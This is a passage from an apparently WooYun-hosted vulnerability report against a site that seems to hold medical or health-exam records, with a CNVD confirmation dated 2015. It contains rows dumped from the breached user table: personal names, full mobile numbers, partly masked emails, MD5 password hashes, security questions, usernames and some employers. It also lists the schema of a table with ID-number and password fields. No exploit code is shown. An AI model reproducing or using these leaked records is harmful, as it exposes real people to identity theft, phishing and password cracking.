| 470 | 0       | <blank> | 李康                    | likang_82@**.**.**.**                | 13683241283 | 64a74c8884493430558f022599fc8376 | <blank>                       | 你最喜欢的人是? | likang           |
| 471 | 0       | <blank> | 李欣                    | xinxin211@**.**.**.**               | 13504309714 | 9d74bc23a552e2e2e323e51e2d269e06 | <blank>                       | 你最喜欢的人是? | xinxin211        |
| 472 | 0       | <blank> | 詹妍艳                   | zhanyanyan2@**.**.**.**             | 13146718185 | 6aa844a5aa3a58292dbc0cd0e0d9f2cc | <blank>                       | 你最喜欢的人是? | zhanyanyan2      |
| 473 | 92      | 312560  | 王益云                   | wangyiyun@**.**.**.**                | 13588566288 | 3519ea2630b48d8ecf0157b83b7d71bb | 新昌县恒丰胶囊有限公司                   | 你最喜欢的人是? | wangyiyun        |
| 474 | 0       | <blank> | 名只允许                  | a@**.**.**.**                          | 13651245461 | c2b9042a391c858611e35e27d28e8373 | <blank>                       | 你最喜欢的人是? | qihongmei        |
| 475 | 0       | <blank> | 张文超                   | etyyzwc@**.**.**.**                 | 13833450824 | 9bf937361bffd5b953faca9ca3311c2b | <blank>                       | 你最喜欢的人是? | etyyzwc          |
| 476 | 0       | <blank> | 迟铁铮                   | chitiezheng2008@**.**.**.**          | 15948740760 | 343a5591add95465081d68d7d01b0c02 | <blank>                       | 你最喜欢的人是? | chitiezheng      |
| 477 | 0       | <blank> | 张红                    | zhuhuo_789@**.**.**.**               | 13851621495 | ae8761e176cf07b1d3930a25425e570a | 江苏康缘药业股份有限公司                  | 你最想去的地方? | 翥火               |
| 478 | 0       | <blank> | 张锦秀                   | jxzhang@**.**.**.**           | 13581647682 | f14b0e98b835ceb5d943a3f9994a5349 | <blank>                       | 你最喜欢的人是? | jxzhang          |
| 479 | 0       | <blank> | 张硕                    | 34128879@**.**.**.**                  | 13684069920 | e40c5a311ac9ca3c2a2637570d765643 | <blank>                       | 你最喜欢的人是? | xczs1991         |
| 480 | 51      | 130021  | 李梅                    | qq1543350903@con                 | 13384318688 | 77b4910b68094ce807d32d86fcee4293 | 长春博创生物技术开发有


+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| BorthAddress    | varchar  |
| CARD            | varchar  |
| CKDate          | datetime |
| Class1_ID       | varchar  |
| Class1_R        | varchar  |
| Class2_ID       | varchar  |
| Class2_R        | varchar  |
| Class3_ID       | varchar  |
| Class3_R        | varchar  |
| Clinic_No       | varchar  |
| Contract_ID     | varchar  |
| Count_Flag      | varchar  |
| Count_Flag_Date | datetime |
| Count_Status    | varchar  |
| CSNY            | datetime |
| CYRQ            | datetime |
| DJCount         | int      |
| DJJE            | money    |
| DJModi          | varchar  |
| DJXM            | text     |
| DJYS            | varchar  |
| DWDM            | varchar  |
| DWFZDM          | varchar  |
| Email           | varchar  |
| ETDate          | datetime |
| GB              | varchar  |
| GH              | varchar  |
| GRDNH           | varchar  |
| GWDM            | varchar  |
| GZDM            | varchar  |
| GZKS            | text     |
| HF              | varchar  |
| HISGroupSFID    | varchar  |
| HisTFBJ         | varchar  |
| Hosptial_No     | varchar  |
| HSDate          | datetime |
| HSYS            | varchar  |
| HYXM            | text     |
| ID              | varchar  |
| IFSend          | varchar  |
| IFUpDown        | varchar  |
| InsureSeriesID  | varchar  |
| JCLB            | varchar  |
| JCRQ            | datetime |
| JCXM            | text     |
| JDRQ            | datetime |
| JE              | money    |
| JLYS            | varchar  |
| JZSFFS          | varchar  |
| LastModiDate    | datetime |
| LastModiYS      | varchar  |
| LXDH            | varchar  |
| Medical_No      | varchar  |
| MZ              | varchar  |
| NEWDJXM         | text     |
| Notices         | varchar  |
| NOWJE           | money    |
| NOWSSJE         | money    |
| OperaID         | varchar  |
| PACS_EIS        | varchar  |
| PACSXM          | text     |
| PassWord        | varchar  |
| PHOTO           | image    |
| PntBarCode      | int      |
| PntBarCodeTime  | datetime |
| PrintCount      | int      |
| PrintDate       | datetime |
| PrintYS         | varchar  |
| QUEUEID         | varchar  |
| RCardDate       | datetime |
| RCardFlag       | varchar  |
| ReCall          | varchar  |
| SendWhere       | varchar  |
| SFBJ            | varchar  |
| SFYS            | varchar  |
| SFZH            | varchar  |
| SpecialFlag     | varchar  |
| SQYS            | varchar  |
| SSJE            | money    |
| SSQX            | varchar  |
| SSSS            | varchar  |
| TJFB            | varchar  |
| TXDZ            | varchar  |
| updateState     | varchar  |
| updatesuccess   | varchar  |
| updatetime      | varchar  |
| UpDownTime      | datetime |
| VIPID           | varchar  |
| WCKS            | text     |
| WCXM            | text     |
| WHCD            | varchar  |
| XB              | varchar  |
| XFXM            | text     |
| XJJE            | money    |
| XJJE1           | money    |
| XJJE10          | money    |
| XJJE11          | money    |
| XJJE12          | money    |
| XJJE13          | money    |
| XJJE14          | money    |
| XJJE15          | money    |
| XJJE2           | money    |
| XJJE3           | money    |
| XJJE4           | money    |
| XJJE5           | money    |
| XJJE6           | money    |
| XJJE7           | money    |
| XJJE8           | money    |
| XJJE9           | money    |
| XM              | varchar  |
| YCXM            | text     |
| YSFBJ           | varchar  |
| ZHXMDM          | varchar  |
| ZJDCRQ          | datetime |
| ZJDCYS          | varchar  |
| ZJE             | money    |
| ZJHM            | varchar  |
| ZKL             | float    |
| ZY              | varchar  |


漏洞证明：

已证明

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-18 10:55

厂商回复：

CNVD确认并复现所述情况,由CNVD尝试向网站管理单位通报.

最新状态：

暂无

漏洞评价：

评论